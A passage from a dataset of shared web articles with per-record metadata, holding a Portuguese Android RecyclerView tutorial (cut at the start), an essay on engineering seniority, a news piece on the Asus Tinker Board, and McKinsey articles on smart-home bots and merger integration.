ViewHolder . É onde a mágica acontece! getItemCount() Método que deverá retornar quantos itens há na lista. Aconselha-se verificar se a lista não está nula como no exemplo, pois ao tentar recuperar a quantidade da lista nula pode gerar um erro em tempo de execução ( NullPointerException ). Vale ressaltar que os métodos onCreateViewHolder e onBindViewHolder não são chamados para todos os itens inicialmente, eles são chamados apenas para os itens visíveis para o usuário. Quando o usuário sobe e desce a lista, estes dois métodos são chamados novamente associando a view reciclada ao conteúdo daquela posição que agora será visível. Feito isto e está pronto. Temos uma lista! Temos uma lista, de fato. Mas quando ela foi criada na Activity foi passado uma lista vazia no adapter . Agora é hora de popular, editar e remover itens. Tenha em mente que Adapter irá trocar o conteúdo da views que irão se reciclando percorrendo esta lista de objetos. Portanto, para adicionar, atualizar ou remover itens da lista devemos trabalhar com a lista de objetos que foi passado no construtor e está dentro da classe do Adapter(List<UserModel> mUsers). Seu Adapter deverá ser capaz de cuidar desta reciclagem. Neste artigo não será abordado códigos que não sejam relacionados ao RecyclerView. Por exemplo, técnicas e bibliotecas de terceiros que ajudaram no desenvolvimento do código. Como descrito na apresentação será usado um botão para gerar conteúdo. Ao clicar neste botão é chamado um método público do Adapter para incluir novos itens na lista. Inserir objetos na lista e atualizar o Adapter Quando o usuário clicar no botão de adicionar será passado por parâmetro o novo Objeto ( UserModel ). Este novo objeto será adicionado na lista original do Adapter (linha 11) e depois é necessário ""notificar"" o Adapter que existe um novo item naquela posição (linha 12) . Como dito acima, esta é uma das grandes vantagens do RecyclerView onde é atualizado apenas a View do novo item da lista, ao invés de atualizar toda a lista para notificar que há uma view nova, como era feito no ListView. Neste exemplo foi adicionado dois botões em cada view /linha. Um para incrementar o número de cada item da lista e outro para remover aquele elemento da lista. As ações de click destes botões foram configuradas no método onBindViewHolder do Adapter , como exibido no Adapter acima. Atualizar objetos na lista e atualizar o Adapter O código para atualizar um item é muito parecido com o código de incluir um item. Basta localizar o objeto na lista do Adapter e atualizar como desejar. Após isso, é necessário notificar o Adapter novamente que há uma atualização no item da posição indicada (linha 4) . Remover objetos na lista e atualizar o Adapter Para excluir um item da lista é necessário remover ele da lista de objetos da classe ( linha 3, removendo do ) e notificar o Adapter que aquele item foi removido ( linha 4) . Além disso, é necessário notificar os itens abaixo que há mudanças com eles ( linha 5 ), pois ao remover um objeto do meio da lista é necessário avisar o Adapter que os objetos abaixo dele sofreram alteração na sua posição ( index ). Caso contrário pode acontecer o seguinte cenário: Imagine que uma lista tem 5 itens e o usuário removeu o segundo. Quando o usuário clicar no ""novo"" segundo item ( que era o terceiro ) ele irá interagir na verdade com o terceiro item. Isso porque o item removido sumiu e o Android animou o deslocamento dos items abaixo para cima, mas apenas visualmente. Por isso é importante sempre notificar o Adapter que estes itens abaixos mudaram sua posição. Lista horizontal No RecyclerView é muito fácil mudar de uma lista vertical para uma lista horizontal, basta ajustar o LayoutManager na Activity. Também é utilizado o LinearLayoutManager, porém com outro construtor passando o contexto, a configuração HORIZONTAL e um boolean definindo se a lista vai exibir os itens em ordem reversa ou não. Caso desejar uma lista vertical com os itens na ordem reversa devemos usar o mesmo construtor, porém passando VERTICAL no segundo argumento. Outra componente que talvez seja necessário atualizar é o layout do ViewHolder, para que a view seja ajustada melhor na lista horizontal. No exemplo de lista verticais foi utilizado uma linha com texto e dois botões. Para o exemplo de lista horizontais está sendo utilizado o componente CardView e mais um componente de texto no centro, para uma melhor visualização. Além do método onBindViewHolder do Adapter que foi alterado para associar mais um campo (texto verde em latim no centro da view), as demais configurações do Adapter e também as funções de inserir, alterar e excluir são exatamente iguais. E com poucas mudanças temos uma nova disposição de conteúdo. Grade Mais uma vez é utilizado a estrutura anterior alterando apenas o LayoutManager . Para a disposição do tipo grade foi utilizada a implementação GridLayoutManager do gerenciador de Layout. No construtor foi passado além do contexto, o número de colunas desejado na grade. A implementação da Activity , Adapter , ViewHolder ... você já sabe, não há diferenças. Porém, as vezes o conteúdo/layout não é de um tamanho fixo para cada CardView e a grade pode ficar com lacunas e não aproveitar o máximo da tela do usuário. Por exemplo na imagem abaixo: Para casos como estes o Android tem um gerenciador especifico. E vamos à ele :). Grade escalonável Com o StaggeredGridLayoutManager a grade de conteúdo fica escalonável e o Android irá aproveitar o final de cada card de cada coluna para inciar a próxima view . Com esta pequena mudança o Android aproveita mais a tela do usuário para exibir mais conteúdo!",pt
1485194633,CONTENT SHARED,-6728844082024523434,801895594717772308,7194441186926042361,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,http://merowing.info/2017/01/seniority/,Seniority,"People use different words to classify Engineer skill, some companies give you more senior role just based on a number of years you have been working there, but what does it mean to be Senior? In this article, I composed a complete and final list of API's that you need to know to classify yourself as Senior Engineer. Here's a list of all the APIs you must know: * API's don't matter If you thought that what makes people Senior is memorizing API's, then this article is most definitely for you. Sure, experience matters and helps you be a better developer, but knowing any particular API is not of great importance, anyone can learn a new API given enough time. How each company gives title is very arbitrary, sometimes it's based on years of experience, other times, unfortunately, its a matter of how friendly you are with management. What matter is not the title you hold, but what you represent. Technical skills will usually come to you naturally with years. I want to focus on something many people miss: soft skills. Let's split this into Personal Principles and Working with Others. Personal Principles Reliable You need to be reliable, never promise you do something and then drop the ball. Others people work often depends on being able to gauge when your piece of the puzzles are ready, for that reason it is better to be on the safe side with estimates and over-deliver than to promise too much and fail to deliver. There are always tasks you can pick up if you finish your sprint sooner, seniors are proactive and do not sit on their hands until they are assigned new tasks. Accountable The only person that does not make mistakes is the person that does nothing. Making mistakes, or hitting roadblocks is normal. More experienced people know that when that happens they let other people know, and they are not afraid to ask for help. Don't be afraid to admit your mistakes, it is only human, and it will build more trust when working with others. Flexible Don't get attached to particular framework or language. Only one thing is sure: you will change them many times in your career . Some languages that I used early in my career are obsolete now. I would go further and suggest that you should embrace change , force yourself to challenge your assumptions, it makes you less ignorant of other opinions/ways. There is more than one way to skin a cat. I usually have some side-project going, and I have a rule that every six months I try using a different approach to things. It allows me to distinguish the best solutions from those I am used to. Endowment bias states that we value things we own/know more than they are worth. One thing to remember is that change is hard and requires time. Trying something for a couple of days just won't cut it. Pragmatic Many programmers would like to just focus on the engineering side of things, always do the cleanest code they can and ignore the business side of things. That is not how our jobs work. People hire you because they need to solve some specific problems for their core business, be it a new app or anything else, not to write code for the sake of code. Delivering things matters . You need to invest time into understanding the business requirements, only knowing them you can make well-informed decisions and focus your work on things that matter. Working with others A single person rarely creates software products on their own. You have to work with other people. Invest time into learning how to be a team player. This will make a huge difference in how your career progresses. Lead by example People will look up to you and how you behave will heavily influence team culture. If you are: Proactively grabbing new tasks from the backlog when you are free Looking for ways to improve the architecture and tooling Teaching and volunteering to pair program or help with issues Giving everyone space to state their opinion and discuss with arguments Treat everyone as an equal conversation partner Other people will adopt those behaviors, and your team will prosper. Listen and learn from others In engineering, there are many different ways to achieve the same end results. It's way too easy to get set in our ways, we have to exercise our flexibility. Be open to other opinions, do not dismiss other people ideas because they are different to your default thought. Spend some time discussing others' opinions to better understand what they mean and how their ideas would work, all the pros and cons, etc. Only then you can evaluate whose approach makes more sense. It does not matter whether the idea comes from people that are more experienced than you or less. I have learned plenty useful things from Junior developers in my teams, they often have fresh ideas and challenge our assumptions. Which bring me to another important point: Do not leverage your 'power' or 'seniority' . Never treat people as inferior and never use arguments like 'Let's do X because I've higher position than you / I've been programming for N years.' When an Engineer uses that kind of argumentation, it makes him look like a child from kindergarten, not a professional. Don't be that person. Use factual arguments. If you cannot find reasons behind your way of doing things, maybe it is not that good? Avoid being reactive, discussions can get heated, but a professional understands that a critique of an idea is not the same as a critique of a person. Pause and think before replying, and don't interrupt other people. Let them finish and focus on understanding their message before discussing it. Learning how to manage your impulses and emotions is crucial in living with others. Learning time management will allow you to maintain sanity. Take a look at some recommended reading. Become a mentor to other devs Mentoring other developers is incredibly rewarding, and it also helps foster the right team culture. I want everyone in the team to feel comfortable asking me any questions. Be it to learn how to do something or questioning my decisions. I have seen few teams that people were afraid to ask questions because managers were awful and used that to evaluate people performance based on that. Encourage your teammates to ask for help, or advice how to do something. If you want to be the mythical 10x engineer, help other engineers in your team grow. Remember: There are no stupid questions, and if people are asking about your code it usually means it can be simplified or improved in some way. Actively looking for ways to improve the process No process is ideal. You should always be on the lookout for improvements. If you criticize something, always propose alternatives. You can have excuses or results, but not both. If you see pain points when working on your code, or when observing your teammates, think about how they how they could be resolved. You do not immediately jump on writing another library or tool if something happens twice. However, when a pattern keeps repeating itself many times for different people, it means it is time to look at ways of improving it. iOS community is one of the best communities I had the privilege to be a part of. I would encourage you to open source those tools and libraries and share your experienced with others. Writing about things often makes you realize how much you still have to learn. Subscribe to newsletters like iOS Dev Weekly or Swift News for ideas. Courage to fight for healthy team culture I cannot stress this point enough, I have seen many people complain about their team culture over the years, my question is always 'What are you doing about it?' You need to fight for a healthy team culture, if you see that someone is misbehaving do not be afraid to speak up . Propose things like team contract or code of conduct. The way I think about this is simple: If I see something I do not like, then I question it in the team environment. Otherwise, the team might become toxic, and if that happens, I quit. If you are going to quit otherwise, why are you afraid of fighting for your team? Many people might be afraid to speak up, especially minorities and introverts. Often they will reach out to you in private to say thanks. Things to look for: Everyone is equal, make sure everyone can express his or her opinion, even those people that are shy. When people are interrupted by someone, make sure to make it easy for them to speak their mind e.g. ""Hey X, you were saying?"" Conclusion Being a good developer and team member is about so much more than programming. With years you can gain much technical experience, but if you do not invest time and energy into improving your soft skills, you can create a bottleneck for your career, one that you might not even see. Read more about how I work with clients I'd like to thank Paul Yorke , Cezary Bielecki , Gabriel Peart and Adam Shott from The New York Times for helping me with initial draft of this article.",en
1485198828,CONTENT SHARED,-1181242543195516037,3609194402293569455,-344378995821744418,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.digitaltrends.com/computing/asus-tinker-board-debut/,Asus ready to take bite of 'Pi' market with Tinker micro PC,"The Tinker Board offers all sorts of new project opportunities, but it is pricey. Asus is looking to take a bite out of the Raspberry Pi, micro-PC industry with an ultra-small form-factor system of its own. Called the Tinker Board, it's impressively powerful and is even capable of handling 4K video and 24-bit audio, suggesting that it could make a very affordable HTPC in the right hands. Homebrew computers have been part and parcel of the personal computing industry since its earliest days, but it was lost somewhat in the years between then and now. Fortunately thanks to the efforts of the Raspberry Pi Foundation and its contemporaries , we've seen a resurgence in home PC hardware hacking. As with any industry through, where there's money to be made, companies will follow. That's why the Pi is no longer the only game in town and Asus is looking to play, too. Its approach is a little heftier than the others though, offering a quad-core Rockchip processor at its heart, with 2GB of RAM, Gigabit Ethernet as standard, and the latest SDIO for additional components if required. More: The Raspberry Pi Foundation offers its Pixel interface for Windows PCs, Macs All of that hardware heft is what makes the Tinker Board so powerful and gives it its 4K video and 192kHz/24-bit audio capabilities. According to Asus it's also what gives it a score on GeekBench as high as 3,925, which is close to twice that of what the Pi 3 Model B is capable of - though of course you should take any benchmarks produced by a manufacturer for its own product with a pinch of salt. In any case, there's no denying that the Tinker Board should be powerful. But power doesn't come without a trade-off and in this case it's cost. As Hexus points out, its price tag sits at around $55 when converted from the EU retailers where it's recently become available. You can pick it up now from CPC, and a few other retailers. This is at least 50 percent more expensive than the PI and a lot more expensive than some other alternatives , but it comes with the raw power that most of them just can't compete with. One of the biggest selling points of the Pi though, is that it has a huge backing from consumers, which creates a great community for modders to ask questions and learn from. So the question is, is the additional power worth the trade-off in price and community?",en
1485215153,CONTENT SHARED,-4762897581600184489,2416280733544962613,1536812141657860009,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",NJ,US,HTML,http://www.mckinsey.com/business-functions/digital-mckinsey/our-insights/a-smart-home-is-where-the-bot-is,A smart home is where the bot is,"Within a decade, our living spaces will be enhanced by a host of new devices and technologies, performing a range of household functions and redefining what it means to feel at home. The promise of devices that not only meet our household needs but anticipate them as well has been around for decades. To date, that promise remains largely unfulfilled. Advances such as the Nest thermostat by Alphabet (parent company to Google) and Amazon's Alexa personal assistant are notable, but the home-technology market as a whole remains fragmented, and the potential for a truly smart home is still unrealized. The rise of the homebots A tipping point may be at hand. Increased computing power, advanced big data analytics, and the emergence of artificial intelligence (AI) are starting to change the way we go about our busy lives . The vision we present in this article may seem ""out there,"" but it simply represents the confluence of those technological developments and realization of existing trends. Those trends, along with what's just on the horizon, according to our research, suggest to us that within a decade, many of us will live in ""smart homes"" that will feature an intelligent and coordinated ecosystem of software and devices, or ""homebots,"" which will manage and perform household tasks and even establish emotional connections with us. A smart home will be akin to a human central nervous system. A central platform, or ""brain,"" will be at the core. Individual homebots of different computing power will radiate out from this platform and perform a wide variety of tasks, including supervising other bots. Homebots can be as diverse as their roles: big, small, invisible (such as the software that runs systems or products), shared, and personal. Some homebots will be companions or assistants, others wealth planners and accountants. We will have homebots as coaches, window washers, and household managers, throughout our home. We are already entering this new era. In two years, we expect to see more items in our living space become interconnected-the formative first stage of a new home ecosystem. In five years, numerous tools and devices in the home will be affected. And in ten years, smart homes will become commonplace and will regularly feature devices and systems with independent intelligence and apparent emotion. That level of home improvement presents significant opportunities, threats, and changes for appliances and devices that have been part of our home life for generations. The new home will be built on a foundation of platforms and ecosystems, whose producers will need to establish new levels of trust with their customers. Competition will take place not just for the consumers who inhabit the smart home, but for the interactions between consumers and homebots that increasingly will shape buying behavior. It's not too early for a wide range of players to start laying the groundwork for success in the home of the future. The new homebot landscape When we envisage smart homes to come, two core features are starkly apparent. Platforms Platforms will provide the foundation to integrate different devices while providing a consistent interface for the consumer. Frontrunners include Amazon, Apple, Google, and Samsung; start-ups at various points in the development cycle will be part of the mix, as well. The winners will deliver omnipresence though ubiquitous connectivity and go-anywhere hardware, as well as integration, with bots collaborating among each other and linking to third parties' products and services. If the recent past is any indication, it's likely that multiple platform standards will evolve. That will present complexities both for consumers and businesses but will foster new, niche opportunities, as well. Product and service ecosystems Developers will create bots that plug into the new and various platforms. In short order, this combination of platforms and bots will mature into an ecosystem of products and services. Platform companies are likely to develop their own AI-driven bots (the descendants of Amazon's Alexa and Apple's Siri, for example). Many other creators will develop unique homebots that integrate into different platforms, much as the apps of today have been developed for Android and iOS, which support the impressive mobile-device ecosystems we see now. Likely, too, a hierarchy will emerge: we can expect a ""master bot"" that acts as general manager, juggling many services; ""service bots"" that handle a set of functions related to a more complex task such as managing media; and ""niche bots"" that perform single tasks, such as window cleaning. For now, put aside grand visions of a single, Jetsons -style Rosie the Robot replacing a human maid in toto; think instead of multiple bots performing separable, specific tasks. Well-defined scope presents much less risk of error. ""If you have a robot at home,"" notes Gary Marcus , a futurist and professor of psychology at New York University, ""you can't have it run into your furniture too many times. You don't want it to put your cat in the dishwasher even once."" Trust will be a must-have To better understand the homebot opportunity and potential obstacles to its realization, we conducted in-home and mobile diary studies in Japan and the United States with dozens of consumers who are already using AI products or services where they live. We found that satisfaction with individual smart devices runs high. Today, people are quite willing to invite homebots into their lives to address a broad array of specific use cases: from doing individual chores to completing a more complex set of tasks to managing even certain elements of child and elder care. But we also found there's a crucial variable that will determine the speed and extent to which consumers truly embrace smart homes managed by homebots. The overwhelmingly determinative factor for consumer acceptance that emerged from our research was trust. Trust is initially based on the bot's ability to perform its task, as might be expected. That does not always go as planned. But once trust is established, people are willing to cede more responsibilities to devices and systems powered by AI. One key to creating that trust will be creating bots that are more than mere automatons. After all, humans are wired for emotions . Our research confirmed that consumers are satisfied when a bot gets a task done, but they are delighted when there is a more personal, emotional element to how the bot does it. Competing through homebots At the same time as competitors in the smart-home space are figuring out how to create trust, they also must learn how to compete in a new landscape where the winners are influencing the homebots themselves. As consumer-bot interactions become a new nexus of competition, a variety of players will need new skills in designing bots, marketing products and services to them, and building business models that exploit their position at the center of the home. Designing bots Increasingly, designers will tap into and even advance data science to develop solutions that go beyond addressing static insights. Likely, that will entail solutions that are at least in part AI-driven, in order to react instantly and evolve constantly for the needs of customers. By understanding customers through a variety of approaches including ethnographic research and AI-generated insights, designers can help guide businesses through the complicated tangle of interactions and diverse engagement models. We expect solutions will migrate from screen-dominated interfaces to more physical and even atmospheric interactions. Companies that have more compelling and intuitive engagement models between bots and consumers-and can achieve significant market penetration first-will hold the competitive advantage. To become machines that are truly integral to peoples' home lives and to establish genuine trust, bots will need to connect with and relate to humans. That's hard, and it goes beyond AI to the realms of artificial emotion (AE). AE encompasses attributes such as tone, attitude, and gestures that communicate feelings and build an emotional connection. Consider Alexa. Several of our interview subjects told us that they think of Alexa as a friend. That doesn't develop from merely providing the train schedule when asked. It comes because Alexa evokes a sense of support, through its sensitive omnipresence and nuanced voice interaction. Interacting with Alexa really is like talking to a friend. Marketing products and services to bots As consumers trust bots more and in turn cede to bots more control over their home management, people will become less involved in the active decision making that goes on in daily home life. For providers of home goods and services, this means that bots will increasingly become the customer- or at least an important intermediary between a selling business and a human purchaser. Marketing for bots certainly gives new meaning to the term robocalls. But it also poses a serious challenge: How can businesses position their products and services to a bot so the human consumer will passively allow, or actively ensure, a purchase (exhibit)? We expect that the marketer's mission will be comparable to the steps one takes to rank one's product or service at the top of an Internet search result. Just as companies focus on search-engine optimization, they will need to develop metadata and tagging systems that are optimized for homebots. Given the simplicity of automated purchases and refills for many household products, sellers will need to focus on getting into a homebot's ""consideration set"" and optimize features to win the likely comparisons embedded in a purchase-decision algorithm. That calls for an approach that is much harder than ""one and done."" Given the speed and reach of AI, providers will have to monitor bot purchasing behaviors continuously and be vigilant in tracking competitors' moves going forward. There's no place like (a connected) home Learn more The stakes are real; a shift in AI preference toward a competing product could reduce demand to zero. The once all-powerful intangible power of a brand may now be reduced to a tangible sum of its parts. As AI gathers inputs across consumer networks, unpleasant consumer experiences or negative feedback could have near immediate impact on bot purchasing preferences. As a result, analytics and marketing will need to be rapid, responsive, and agile. Consumers who can't be bothered to search for the right purchase or are overwhelmed by the complexity of choice can have a homebot scan constantly based on variable individual preferences (such as cost, appearance, and durability). Evolving business models We expect that a wide range of homebot business models and use cases will emerge. Not only could homebots be purchased or rented for a specific task, people may share or rent them out to others. It's conceivable that networked bots will work together across households, for example, to increase processing power, share expenses, or even partake in buyer co-ops to benefit from bulk pricing. Each of these models creates opportunities for new revenue streams. The greatest source of value may come from the data. Bots will acquire and generate reams of information, and these data points will be critical for increasingly data-driven projects and services. Data will be sources of insight and even products in their own right. And understanding the implications, opportunities, and information about the smart home won't be someone's part-time job. It will require a dedicated team to parse the data, develop strategies, manage partnerships, and drive experiments that will become integral to creating value. Laying the foundation Businesses that seek to compete in the smart home can begin their housework early. A network of functioning bots is, in effect, an ecosystem of capabilities. Each bot will need to follow standard protocols to communicate with one another. But while a house may be bounded by four walls, a homebot ecosystem extends into the ether; it has to, as bots will need to interact with markets and networks around the world. Smart cars, wearables, and mobile devices are but a few examples. How all those systems ""talk"" to one another will be the core IT challenge for the foreseeable future. On the technical side, mastery demands an intimate understanding of AI technologies and how they work with one another. On the strategic front, it's worth the effort to identify what your company's competitive advantages are or may become and then imagine how these advantages could align with the homebot value opportunities that are likely to emerge. Remember: the smart home will require different parties to work together. It's not too soon to take note of players developing complementary-or potentially competitive-capabilities, and consider opportunities for potential partnerships. Most important, keep in mind that the success of homebots and smart homes is not wholly about technology. Rather, smart homes and bots are about how technology makes us feel. The objective is to meet the needs of human consumers and to make a house feel like home. About the author(s) Jean-Baptiste Coumau and Hiroto Furuhashi are partners in McKinsey's Tokyo office, and Hugo Sarrazin is a senior partner in the Silicon Valley office. The authors wish to thank Shota Aizawa, Jared Braiterman, Luis Mendo, Madoka Ochi, Natalie Phillips-Hamblett, and Bart Woord for their contributions to this article.",en
1485220886,CONTENT SHARED,8708452471825540133,2416280733544962613,4199404805555507895,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",NJ,US,HTML,http://www.mckinsey.com/business-functions/organization/our-insights/tailoring-your-integration-approach-to-specific-deals,Tailoring your integration approach to specific deals,"Every merger or acquisition is different, yet many companies stick to the same integration playbook. Here's how to tailor your approach. Late Thursday afternoon, Carmela Jones sat at her desk reflecting on the failed acquisition of ACME. Carmela had expected to retain most of ACME's leadership team, but they were fleeing, and customers were following suit. If not stopped, this deal could destroy significant value. How could this have happened? In her five years as head of M&A, she had led the successful integration of over 50 companies. How did the same top-notch team, using the same well-developed playbook and world-class tools, get it so wrong this time? Stay current on your favorite topics Subscribe After staring at the data and reviewing all the deals the company had done, Carmela finally realized what had happened. The vast majority of earlier deals had been product bolt-ons or roll-ups of small competitors. The ACME deal was different. It fell outside the company's typical bailiwick, and the company was counting on ACME to help transform key businesses-making them faster and more entrepreneurial. Of course, in hindsight, Carmela saw that this acquisition required a totally different approach. Tailoring the integration approach to deal specifics Like any muscle, integration requires practice to build both strength and agility. Practice also builds muscle memory that can last for a long time. Companies doing their first deals can learn much from active acquirers that have experienced M&A deal teams and sophisticated integration playbooks to get integration off to a fast start. But even active acquirers may stumble, as their experience may encourage overreliance on a standard approach (the muscle memory built by long practice). This one-size-fits-all mentality can be particularly risky in today's environment, where deals are increasingly bigger, more complex, and focused on revenue growth, not just cost synergies. Serial acquirers can learn much from agile acquirers. Our research shows that serial acquirers do not outperform first-time acquirers unless they consistently tailor their integration approach to the specifics of each deal (Exhibit 1). To understand whether, when, and how M&A-driven companies tailor their integration approach to deal rationale and sources of value, we surveyed 638 experienced merger-management leaders across a broad range of company sizes, industries, and geographies. We also assessed the impact of tailoring on the deal performance reported by the companies. Whether to tailor We found that more than half of M&A top performers (those that consistently achieve revenue and cost objectives) tailor their approach to deal rationale and sources of value (Exhibit 2). This is especially true of top performers that pursue multiple types of deals (at least three distinct types), as the deals' different sources of value are likely to require different integration approaches. For example, the goals and integration requirements look very different for deals to consolidate company presence in mature markets, deals to expand geographically, and deals to place strategic growth bets on new businesses. According to our research, among companies that report doing several deal types, low performers are 44 percent more likely to follow a standard approach than adapt their approach to the specifics of each deal. When to tailor Not surprisingly, top performers said that three factors signal the need to tailor their integration approach: The cultures of the target and the acquirer differ significantly-the values they stand for and the way they get things done are materially different. The target's core business is relatively unrelated to the acquirer's core business. The target is large relative to the acquirer. These factors reflect the complexity of integrating two companies that differ markedly in fundamentals like culture, business focus, or size. Top performers emphasized the importance of change-management efforts in these situations. What to tailor More than 80 percent of the top performers reported that they always or very often tailor their approach to five critical dimensions of integration: governance: who leads and how they do it Integration management office (IMO) architecture: who coordinates the integration effort and through what organization scope: what to integrate and to what extent speed and pace: how fast to go and how coordinated the effort should be culture and talent: how to handle people Governance Top performers adjust the allocation of decision-making authority between acquirer and target management to fit the objective of the deal. They likewise structure the leadership of the integration teams to help them meet that objective. For example, a large deal that would require building a new culture and fostering collaboration might call for organizing the integration-management teams to include mirrored leaders from the two organizations and splitting decision-making authority equally. But a deal done primarily to retain the acquirer's culture and operating model would probably see most integration teams and decision-making authority assigned to the acquirer's leaders. A global information company set its sights on acquiring a slightly larger target with a much stronger international presence. The acquirer expected the deal to achieve significant cost synergies but also saw retention of the target's mid-level and top talent as critical to future international business success. Therefore, the acquirer gave target executives considerable leadership responsibility, during and after the integration. A target executive led the integration effort and, months before close, was announced as the new COO. Leadership of the IMO work streams was mirrored, with each coleader given a fair shot at the final job. These efforts paid off handsomely, as the combined company realized synergies rapidly, increased market share over the number two player, and retained all critical talent. IMO architecture Top performers tailor three key aspects of IMO architecture to deal specifics: size of the IMO (number of staff and funding level) use of dedicated and specialized teams (dedicated to value capture, clean team, change management, culture, or communication) structure of the integration teams (by geography, business unit (BU), function, or a hybrid) A serial acquirer in the pharmaceutical industry typically acquired relatively small companies that marketed products in a similar therapeutic area. This acquirer typically staffed a small IMO team and assigned integration responsibility to ongoing business owners so they took control of the target as soon as possible. Preparing to acquire a high-growth specialty pharma company with a stronger reputation in certain disease areas, the company realized that disturbing the target's commercial relationships would put significant value at risk. To avoid that risk, the acquirer organized a larger IMO, including a clean team tasked with assessing the degree of physician overlap and the strength of relationships of both sales forces. The company then organized three commercial teams focused on key account retention, contracting review, and sales redeployment. This tailored approach minimized disruption to relationships and captured incremental synergies. A top biotech company acquired a similarly sized player in the space. While setting up the integration team, the acquirer realized that the two companies had very different operating models. The acquirer was organized geographically, with a small corporate center, while the target had a global business-unit structure. The acquirer decided to roll out a new matrix-based operating model. Recognizing the tension this would create, the acquirer created an organizational-design team in the IMO, with a dedicated business partner for each integration team. The responsibilities of the business partner included rolling out the new structure, managing talent selection, and communicating the operating principles of the new model. The company moved quickly to the new structure, announcing the top three layers of management before deal close (and only two months after deal announcement). Scope As appropriate to deal specifics, top performers tailor decisions on the breadth and depth of integration required for critical capabilities, such as sales and marketing, R&D, and product development. For example, deals to access new technologies or enter high-tech product areas often require decisions on whether to leave the target alone, integrate selectively (in some HR and business-support functions), or integrate fully to bring the acquired product to new levels rapidly (when the target's product concept is relatively close to acquirer products). When a large, mature, industrial conglomerate acquired a small, innovative growth engine, the last thing the acquiring CEO wanted was to crush the target's unique capabilities. He delivered an edict: no one would visit, meet with, or call the target without his personal written consent or face termination. A favored global functional leader who ignored the edict was terminated immediately, setting an example for the rest of the company's leadership. A large universal bank opted for selective integration when acquiring a specialized financial-services company. The acquirer achieved expected cost synergies by fully integrating most target support functions and several BUs but took a different approach to two major BUs. For one BU where attrition as high as 70 percent looked likely, the integration leader postponed all action until he had met with every team around the world. This delayed integration for two months but limited attrition to a much more manageable 30 percent and prevented significant disruption of BU activities. The acquirer transplanted the target's core BU virtually intact in order to preserve a product line new to the bank and take advantage of the BU's access to capital. The protected BU flourished-launching new products while the integration proceeded elsewhere, losing no key employees, and increasing revenue 20 percent over the next three years in a declining market. Speed and pace Integrating as quickly as possible usually maximizes value, but not always. Top performers take deal specifics into account as they make decisions on which processes and systems to maintain, how long to evaluate alternative systems in order to find the right answer, how quickly to proceed with integration, and how to pace the integration of each function into the organization. Almost half of top performers (43 percent) called tailoring integration extent and pacing, function by function, critical to their integration approach. To capture the value of cost synergies, companies tend to make decisions on talent selection and organization well before close, execute right after close, and integrate the target into the acquirer's systems and processes as fast as possible without slowing to evaluate ""best-of-both"" opportunities across the two organizations. But this approach can destroy key capabilities or slow business momentum if not aligned with the deal's sources of value. For example, when a multinational energy corporation acquired a software firm to manage smart-grid equipment, leadership realized that a one-size-fits-all approach to integration would undermine deal value. Back-office integration started in September, but the acquirer shielded target commercial capabilities until the new calendar year to avoid disrupting the target's annual revenue cycle. The target sold software through annual subscriptions, and most clients renewed their contracts in November and December. Many companies launch activities to capture revenue synergies, while delaying cost-integration efforts due to regulatory factors (such as workers' council review) or reputational factors (such as union relationships). In a recent airlines merger, the company rapidly introduced new alliances and routes, revamped network planning, and revised the customer loyalty program, while slowly integrating day-to-day operations. Culture and talent As warranted by deal specifics, top performers tailor decisions on which employees to retain and how to align company cultures. Almost half of top performers (47 percent) called efforts to align cultures critical to their integration approach. In a transformational or new white-space deal, the integration approach usually includes broad retention programs and measures to protect the target's culture. But in a deal to improve a target's underperforming operations by strengthening management and introducing superior processes, the integration effort typically moves to capture cost synergies quickly and fold the remaining target employees into the acquirer's structure and culture. When two retail banks with high-performance track records and strong results-oriented cultures merged, leadership paid little attention to culture because the banks looked quite similar. But the planning/budgeting process uncovered two very different cultures-one focused on cost management and the other on growth. The new company had to weather a long, painful change management effort, including a new incentive and compensation structure and training programs, to align on a new dual mission. Building the right organization for mergers and acquisitions Read the article Later, this same retail bank did a deal to expand into a new geography. Recognizing its limited relationships in this region, the acquirer was determined to retain 100 percent of target staff and so let cultural integration proceed gradually. For a year, the acquirer treated the target as a bank within the bank, operating with considerable autonomy, while the acquirer slowly added key executives to target leadership in order to start the transformation from the top. Today, the bank enjoys growth in the region 1.5 times the rest of the industry and has lost no key management staff to competitors. The examples outlined above show some of the real challenges posed by integration and the choices that companies must make to address the challenges. Many merger management leaders who have tackled these challenges call the effort a career-defining moment that pays huge dividends down the road. Their experience suggests the value of putting integration agility on the agenda of every integration leader. Carmela learned that lesson the hard way in the ACME acquisition. She set her playbook aside and brainstormed with her team a simple list of questions to ask themselves before launching the execution of any deal: Stay current on your favorite topics Subscribe Do we understand and agree on our reasons for acquiring this target? What distinctive capabilities do we have that will add value to the target? What distinctive capabilities does the target have that will add value to us? Do we understand how the deal will create value (for example, increase sales, cut costs, leverage capital)? Do we know which BUs or functions will account for most of the value created? Do we know which BUs, functions, or processes (if any) we should shield from disruption? Do we know when we should integrate each department, function, or geography and why? About the author(s) Jeremy Borot is an associate partner in McKinsey's Paris office; Oliver Engert is a senior partner in the New York office, where Sean O'Connell is a partner; and Pablo Salazar is an associate partner in the Stamford office. Article - McKinsey Quarterly",en
